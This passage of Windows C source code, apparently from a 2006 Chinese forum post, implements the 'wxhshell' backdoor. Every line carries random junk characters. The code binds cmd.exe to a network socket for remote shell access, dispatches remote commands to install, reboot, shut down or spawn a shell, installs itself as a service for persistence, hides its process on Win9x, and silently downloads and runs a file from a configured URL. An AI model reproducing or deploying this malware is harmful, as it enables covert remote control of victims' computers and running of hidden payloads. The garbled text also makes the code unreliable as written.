  else y]i} j,e0L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u<n['Ur}|  
  } zB7 ^L^Y  
  else { kSJ;kz,_  
?TDmW8G}J  
    switch(cmd[0]) { O d6'bO;G  
  taVK&ohWx  
  // 帮助 U/HF6=Wot  
  case '?': { vGH]7jht  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ELG{xN=o  
    break; MjBI1|*  
  } Vl(id_~_  
  // 安装 b*Hk} !qH  
  case 'i': { b!QRD'31'j  
    if(Install()) 7 mA3&<&q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~s?y[yy6i  
    else L`:V]p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~y 2joStx  
    break; vPZ0?r_5W  
    } 7k#>$sY+  
  // 卸载 ;$*tn"- ?~  
  case 'r': { KB\ri&bF  
    if(Uninstall()) _=[pW2p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E^w0X,0XlE  
    else 0ikA@SAq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : @gW3'  
    break; e'v_eD T^  
    } /lHs]) ,  
  // 显示 wxhshell 所在路径 <g&GIFE,  
  case 'p': { 8SiWAOQAL  
    char svExeFile[MAX_PATH]; 5M>SrZH  
    strcpy(svExeFile,"\n\r"); oY\;KPz  
      strcat(svExeFile,ExeFile); -G1R><8[  
        send(wsh,svExeFile,strlen(svExeFile),0); Uu`}| &@i  
    break; ! }eq~3  
    } M.$=tuUL  
  // 重启 925T#%y  
  case 'b': { 5}]gL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `]&'yt  
    if(Boot(REBOOT)) "|WKK}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d.>O`.Mu)}  
    else { )C$Ij9<A  
    closesocket(wsh); Py9:(fdS  
    ExitThread(0); vXSpn71Jb  
    } Y}\3PaUa  
    break; UBuG12U4Y  
    } *MWI`=c  
  // 关机 {Z$]Rj  
  case 'd': { Tz(Dhb,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lP(<4mdP  
    if(Boot(SHUTDOWN)) M;z )c|Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .D=#HEshk  
    else { b3=XWzK5  
    closesocket(wsh); v9D[| 4  
    ExitThread(0); c)QOgXv  
    } .?F`H[^)^u  
    break; 7pH[_]1"  
    } A~a7/N6s;  
  // 获取shell <Lle1=qQ  
  case 's': { @a]`C $ 6  
    CmdShell(wsh); "+&@iL  
    closesocket(wsh); _=qk.|p/  
    ExitThread(0); nzB!0U  
    break; ]#rmk!VT?  
  } ZI!;~q  
  // 退出 MLmk=&d  
  case 'x': { Y=UN`vRR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h9%.tGx  
    CloseIt(wsh); 1(VskFtZF  
    break; z)&&Ym#  
    } ]V"B`ip[2  
  // 离开 U`4t4CHA  
  case 'q': { U<yKC8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *u34~v16,  
    closesocket(wsh); 4Gh%PUV#  
    WSACleanup(); ]`@< I'?,X  
    exit(1); m`,h nDp  
    break; (bogAi3<F  
        }  ZN;fDv  
  } ;Ac!"_N?7  
  } zL+M-2hV  
yA<\?Ps  
  // 提示信息 I]~UOl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i:^ 8zW  
} *pGbcBQ  
  } WODgG@w  
~HX'8\5  
  return; aFy'6c}  
} ]@ms jz'  
ZN`I4Ak  
// shell模块句柄 04E#d.o '  
int CmdShell(SOCKET sock) e0o)Jo.P  
{ OFlY"O S[  
STARTUPINFO si; &Mh]s\  
ZeroMemory(&si,sizeof(si)); 2CPh'7|l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T "t%>g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SM`n:{N(  
PROCESS_INFORMATION ProcessInfo; .ffb*gZ4  
char cmdline[]="cmd"; W%}zwQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YR~)07  
  return 0; _ Av_jw`m  
} 4p(\2?B%f  
u,Cf4H*xS  
// 自身启动模式 *2I@_b6&  
int StartFromService(void) /3 ;t &]  
{ SDW!9jm>R  
typedef struct @(e/Y/  
{ TP)}1 @  
  DWORD ExitStatus; safI`b w1  
  DWORD PebBaseAddress; hzy#%FaB  
  DWORD AffinityMask; 4{=^J2z  
  DWORD BasePriority; b U>.Bp]  
  ULONG UniqueProcessId; , *Z!Bd8  
  ULONG InheritedFromUniqueProcessId; <3b Ft[  
}   PROCESS_BASIC_INFORMATION; ca$K)=cDW  
A!`Q[%$  
PROCNTQSIP NtQueryInformationProcess; hQbz}x  
*h"7!g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bX&=*L+ h6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jL#`CD  
Bjsg!^X7  
  HANDLE             hProcess; \w@ "`!%  
  PROCESS_BASIC_INFORMATION pbi; (, uW-  
>o!~T}J7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J?bx<$C@  
  if(NULL == hInst ) return 0; CF@j]I@{   
8}!WJ2[R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'di(5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Eg#WR&Uq"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ksli-Px  
^/$bd4,z  
  if (!NtQueryInformationProcess) return 0; kt hy9<!$  
m2PI^?|e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `9p;LZC1K  
  if(!hProcess) return 0; a.s5>:Ct  
g,5Tr_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ; Z{jol  
sb*)K,U  
  CloseHandle(hProcess); =E-V-?N\  
]9NA3U7F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `KmM*_a  
if(hProcess==NULL) return 0; ~~3 BV,  
?hnxc0 ~P  
HMODULE hMod; :PDyc(s{  
char procName[255]; E(Y}*.\]#s  
unsigned long cbNeeded; XlU`jv+  
W v!%'IB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2umgF  
96S#Q*6+R  
  CloseHandle(hProcess); S/7?6y~  
QNgfvy  
if(strstr(procName,"services")) return 1; // 以服务启动 4Yya+[RY  
8~8VoU&  
  return 0; // 注册表启动 #\$AB_[ot>  
} y^hCO:`l3  
p`06%"#  
// 主模块 Lk1e{! a  
int StartWxhshell(LPSTR lpCmdLine) v_e3ZA:%  
{ c^EU &q{4  
  SOCKET wsl; F>s5<pKAX  
BOOL val=TRUE; Fhk`qh'i  
  int port=0; qO}Q4a+  
  struct sockaddr_in door; 9._owKj  
J'Y;j^  
  if(wscfg.ws_autoins) Install(); !juh}q&}|  
~~X-$rtU  
port=atoi(lpCmdLine); i5jsM\1j  
2N[/Cc2Tg/  
if(port<=0) port=wscfg.ws_port; q2~@z-q)b  
Al pk5o5B  
  WSADATA data; =' <789wT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QNm8`1  
j )b[7%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gano>W0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F!&$Z .  
  door.sin_family = AF_INET; |WDMyKf6J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D $3Mg  
  door.sin_port = htons(port); 6$A>%Jtwe  
" TP^:Ln  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GEUC<bL+  
closesocket(wsl); S<UWv@`U"  
return 1; 0;2"X [e  
} Y2Y)|<FH  
b]k9c1x  
  if(listen(wsl,2) == INVALID_SOCKET) { M.?[Xpa  
closesocket(wsl); B6xM#)  
return 1; oZ,_G,b^  
} sA!$}W  
  Wxhshell(wsl); 2c1L[]h'  
  WSACleanup(); fm1yZX?`  
_mc-CZ  
return 0; ~Y/o9x0  
0*yD   
} cZlDdr%  
EE$\8Gx']!  
// 以NT服务方式启动 *Sp_s_tS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kqQT^6S   
{ T1=T  
DWORD   status = 0; ZfP$6%;_  
  DWORD   specificError = 0xfffffff; G_/Dz JBF  
z^^)n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N|\Q:<!2_w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yr/G1?k%ML  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S^T ><C  
  serviceStatus.dwWin32ExitCode     = 0; ]-"G:r  
  serviceStatus.dwServiceSpecificExitCode = 0; f O,5 u;  
  serviceStatus.dwCheckPoint       = 0; 2rPmu  
  serviceStatus.dwWaitHint       = 0; H<Ik.]m  
M)1Y7?r]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }WDzzjDR+  
  if (hServiceStatusHandle==0) return; k{ ~0BK  
TP{2q51yM  
status = GetLastError(); B"?ivxM:U  
  if (status!=NO_ERROR) #.j}:  
{ T:I34E[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7]H<ou  
    serviceStatus.dwCheckPoint       = 0; cB=ExD.Q  
    serviceStatus.dwWaitHint       = 0; b|oT!s  
    serviceStatus.dwWin32ExitCode     = status; #gsJ tT9  
    serviceStatus.dwServiceSpecificExitCode = specificError; cPy/}A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mLm?yb:  
    return; 7!U^?0?/  
  } qV7 9bK  
y ~n1S~5cI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xM)6'= x6  
  serviceStatus.dwCheckPoint       = 0; 1V.oR`&2E  
  serviceStatus.dwWaitHint       = 0; ?"$Rw32  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5yk#(i 7C  
} ->L>`<7(  
LR#BP}\b'  
// 处理NT服务事件,比如:启动、停止 %%FzBbWAO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @L$!hTaP  
{ yQ0:M/r;0  
switch(fdwControl)  G& m~W  
{ je8 5G`{DC  
case SERVICE_CONTROL_STOP: s>*xAIx  
  serviceStatus.dwWin32ExitCode = 0; 5Ky(C6E$s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; * o{7 a$V  
  serviceStatus.dwCheckPoint   = 0; /]oQqZHv  
  serviceStatus.dwWaitHint     = 0; e2^TQv2(=e  
  { %'OY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Wqy,L;J  
  } ;2P  
  return; }`.d4mm  
case SERVICE_CONTROL_PAUSE: &EmG\vfE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {B-*w%}HU  
  break; IGNU_w4j  
case SERVICE_CONTROL_CONTINUE: )$ M2+_c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LhRd0  
  break; Swr4De_5  
case SERVICE_CONTROL_INTERROGATE: QQJf;p7  
  break; -}3nIk<N  
}; Vh{(*p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z@(KZ|  
} g%<n9AUl  
LUdXAi"f  
// 标准应用程序主函数 $*;`$5.x^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u4j"U6"]M  
{ Y>6N2&Q  
)2a)$qx;  
// 获取操作系统版本 ]I_*+^?tI  
OsIsNt=GetOsVer(); aW-6$=W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wdi`Z E  
S5V:HRj{?  
  // 从命令行安装 "hi03k  
  if(strpbrk(lpCmdLine,"iI")) Install(); %=!] 1  
u'nQC*iJb  
  // 下载执行文件 $,P:B%]  
if(wscfg.ws_downexe) { J$5Vjh'aM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =f!clhO  
  WinExec(wscfg.ws_filenam,SW_HIDE); YjH~8==  
} k!Q{u2  
eR0$CTSw  
if(!OsIsNt) { flT6y-d  
// 如果时win9x,隐藏进程并且设置为注册表启动 XO+rg&Pu  
HideProc(); /,`OF/%  
StartWxhshell(lpCmdLine); WdH/^QvTP  
} qVfl6q5  
else K)U[xS;<  
  if(StartFromService()) inip/&P?V  
  // 以服务方式启动 `/^ _W <  
  StartServiceCtrlDispatcher(DispatchTable); M*f]d`B  
else P?S]Q19Q4  
  // 普通方式启动 5vg="@O K  
  StartWxhshell(lpCmdLine); (zh[1[a  
tva=DS  
return 0; NBHpM}1xtU  
}
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只看该作者 1 发表于: 2006-10-10
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